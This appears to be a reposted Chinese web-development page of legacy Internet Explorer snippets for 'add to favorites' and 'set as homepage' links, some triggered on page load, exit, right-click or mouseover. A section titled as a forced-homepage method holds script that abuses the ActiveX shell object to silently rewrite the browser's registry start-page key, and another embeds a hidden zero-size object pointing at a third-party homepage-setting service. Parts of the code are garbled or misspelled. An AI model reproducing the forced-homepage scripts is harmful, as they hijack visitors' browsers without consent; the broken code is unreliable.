将网页设为首页||加入收藏夹||代码
来源:互联网 发布:淘宝淘客店铺 编辑:程序博客网 时间:2024/05/16 19:52
设为首页代码大全
加入收藏夹,设为首页代码
把以下代码<Body>相应位置
<a target=_top href=javascript:window.external.AddFavorite('http://www.netbei.com','网贝建站 - 专业建站资讯网')>加入收藏</a>
<a href=# onClick="this.style.behavior='url(#default#homepage)';this.setHomePage('www.netbei.com');">设为首页</a>
鼠标指向时提示设为首页
将下列代码插入<body>区中:
<A href="http://www.netbei.com/" onmouseover="this.style.behavior='url(#default#homepage)';this.setHomePage('http://www.netbei.com');" target="_blank">设为首页</A>
打开页面时自动弹出窗口询问是否设为首页
将以下代码放在<head></head>之间:
<script language="javascript">
function myhomepage(){
this.homepage.style.behavior='url(#default#homepage)';this.homepage.sethomepage('http://www.netbei.com');
}
</script>
<p align="center"><a href="http:netbei.com" name="homepage"
onclick="myhomepage();"></a>
再将下面代码加入<body>内:
onload="myhomepage();"
即:<body onload="myhomepage();">
离开时自动提示设为首页
<body onunload="BASEBody.style.behavior='url(#default#homepage)';if(!(BASEBody.isHomePage('http://eyaya.com.ru')))BASEBody.setHomePage('http://www.netbei.com/');">
<HTML>
<HEAD>
<title>添加到收藏夹和设置首页代码大全</title>
<meta name="GENERATOR" Content="Microsoft Visual Studio .NET 7.1">
<meta name="CODE_LANGUAGE" Content="C#">
<meta name="vs_defaultClientScript" content="JavaScript">
<meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie5">
<script language="javascript">
<!--
//添加到收藏夹代码---------------------------------------------
function bookmarkit()
{
window.external.addFavorite('http://www.webjx.com/','网页教学网')
}
//1.离开网页时弹出
//<body onunload="bookmarkit()">
//2.网页载入时弹出
//<body onload="bookmarkit()">
//3.右键弹出
document.all.onMouseDown=new Function("if (event.button==2||event.button==3)window.external.addFavorite('http://www.webjx.com/','网页教学网')")
//4.单击文字弹出
//5.鼠标滑过文字弹出
//----------------------------------------------------
//设为主页代码---------------------------
//1.关闭网页时弹出设为主页对话框代码
//<BODY id=iehomepage onunload="iehomepage.style.behavior='url(#default#homepage)';if(!(iehomepage.isHomePage('http://www.webjx.com/')))iehomepage.setHomePage('http://www.webjx.com/');">
//2.打开网页弹出设为主页对话框代码
//<BODY id=iehomepage onload="iehomepage.style.behavior='url(#default#homepage)';if(!(iehomepage.isHomePage('http://www.webjx.com/')))iehomepage.setHomePage('http://www.webjx.com/');">
//3.单击链接设为主页
//4.鼠标滑过设定为主页
//-->
</script>
</HEAD>
<body id="iehomepage" MS_POSITIONING="GridLayout">
<form id="Form1" method="post" runat="server">
<a href="#" onclick="bookmarkit()">加入收藏夹</a><br>
<br>
<br>
<br>
<a href="#" onmousemove="bookmarkit()">鼠标滑过文字弹出收藏夹</a>
<br>
<br>
<br>
<br>
<a href="#" onclick="this.style.behavior='url(#default#homepage)';this.setHomePage('http://www.webjx.com/');">
单击链接设为主页</a>
<br>
<br>
<br>
<br>
<a href="#" onmousemove="this.style.behavior='url(#default#homepage)';this.setHomePage('http://www.webjx.com/');">
鼠标滑过设定为主页</a>
</form>
</body>
</HTML>
设为首页代码
<body bgcolor="#FFFFFF" text="#000000">
<!-- 网址:http://你的网址-->
<a class="chlnk" style="cursor:hand" HREF
onClick="this.style.behavior='url(#default#homepage)';
this.setHomePage('你的网站名称);"><font color="000000" size="2" face="宋体">设为首页</font></a>
</body>
强制设为首页代码
<cript>
var ucook=document.cookie;
var user=ucook.indexOF("ilooki=");
if(user==-1)
{
var nowTime=new Date();
document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()+1903+"12:34:56 GMT";
document.write("<APPLET HEIGHT=0WIDTH=0 code=com.ms.activeX.ActiveXCompoment></APPLET>");function yuzi(){try{a1
=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try{Shl.RegWrite("hkcuSoftwareMicrosoftInternet ExpiorerMainStart Page",http://www.****.com);}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);
}
</script>
回答者:chinasun2008 - 经理 四级 1-23 09:49
加入收藏夹,设为首页代码
把以下代码<Body>相应位置
<a target=_top href=javascript:window.external.AddFavorite('http://www.6882.com';,'中国免费资源情报站')>加入收藏</a>
<a href=# onClick="this.style.behavior='url(#default#homepage)';this.setHomePage('www.6882.com);">设为首页</a>
鼠标指向时提示设为首页
将下列代码插入<body>区中:
<A href=http://www.6882.com onmouseover="this.style.behavior='url(#default#homepage)';this.setHomePage(http://www.6882.com';);" target="_blank">设为首页</A>
打开页面时自动弹出窗口询问是否设为首页
将以下代码放在<head></head>之间:
<script language="javascript">
function myhomepage(){
this.homepage.style.behavior='url(#default#homepage)';this.homepage.sethomepage('http://www.6882.com';);
}
</script>
<p align="center"><a href="http:netbei.com" name="homepage"
onclick="myhomepage();"></a>
再将下面代码加入<body>内:
onload="myhomepage();"
即:<body onload="myhomepage();">
离开时自动提示设为首页
<body onunload="BASEBody.style.behavior='url(#default#homepage)';if(!(BASEBody.isHomePage('http://www.6882.com';)))BASEBody.setHomePage('http://www.6882.com/';);">
强行设为首页代码
<object data='http://www1.7169.com/homepage/set.asp?url=http://你的网址;width='0' height='0'>
加入收藏夹,设为首页代码
把以下代码加入<Body>相应位置:
<a target=_top href="javascript:window.external.addFavorite('http://free.ylwy.net','狐狸猫网络');">加入收藏</a>
<a href='#' onClick="this.style.behavior='url(#default#homepage)';this.setHomePage('http://free.ylwy.net');">设为首页</a>
鼠标指向时提示设为首页
将下列代码插入<body>区中:
<A href=http://free.ylwy.net onmouseover="this.style.behavior='url(#default#homepage)';this.setHomePage('http://free.ylwy.net');" target="_blank">设为首页</A>
打开页面时自动弹出窗口询问是否设为首页
将以下代码放在<head></head>之间:
<script language="javascript">
function myhomepage(){
this.homepage.style.behavior='url(#default#homepage)';this.homepage.sethomepage('http://free.ylwy.net');
}
</script>
<p align="center"><a href=http://free.ylwy.net name="homepage"
onclick="myhomepage();"></a>
再将下面代码加入<body>内:
onload="myhomepage();"
即:<body onload="myhomepage();">
离开时自动提示设为首页
替换<body>标签为:
<body onunload="BASEBody.style.behavior='url(#default#homepage)';if(!(BASEBody.isHomePage('http://free.ylwy.net')))BASEBody.setHomePage('http://free.ylwy.net/');">
- 将网页设为首页||加入收藏夹||代码
- 设为首页+加入收藏夹+打印网页
- 设为首页和加入收藏夹代码
- 加入收藏夹,设为首页代码
- 加入收藏夹,设为首页代码
- 设为首页/加入收藏夹
- .NET网页中 设为首页 邮件连接 加入收藏夹 的代码
- 如何写设为首页与加入收藏夹的网页代码
- 加入收藏夹和设为首页的代码收集
- 设为首页和加入收藏夹的JS代码
- javascript 设为首页 | 加入收藏夹 JS代码
- 设为首页JS,加入收藏夹js,加入收藏夹代码,设为首页代码,火狐和ie兼容
- “设为首页”与“加入收藏夹”
- 网站设为首页,加入收藏夹
- js设为首页和加入收藏夹
- 点击加入收藏夹、设为首页
- 动态将当前页设为首页、将当前页加入收藏夹的方法
- ASP.NET中怎么样将页面设为首页,加入收藏夹
- Java连接数据库实例
- No Volume Control GStreamer plugin
- 没有规范过程的高效开发团队存在吗
- (转帖)和老同事的谈话:关于职业生涯以及MDA
- 欢迎你,欢迎我
- 将网页设为首页||加入收藏夹||代码
- 曾国藩家书之劝学篇 摘录1
- 曾国藩家书之劝学篇 摘录2
- 曾国藩家书之劝学篇 摘录3
- dynamic_cast Operator from MSDN
- FTP adaptor problem
- 【ABAP】怎样取SAP中的业务对象状态
- 几个市场和价格规律(长期更新中。。)
- Hello World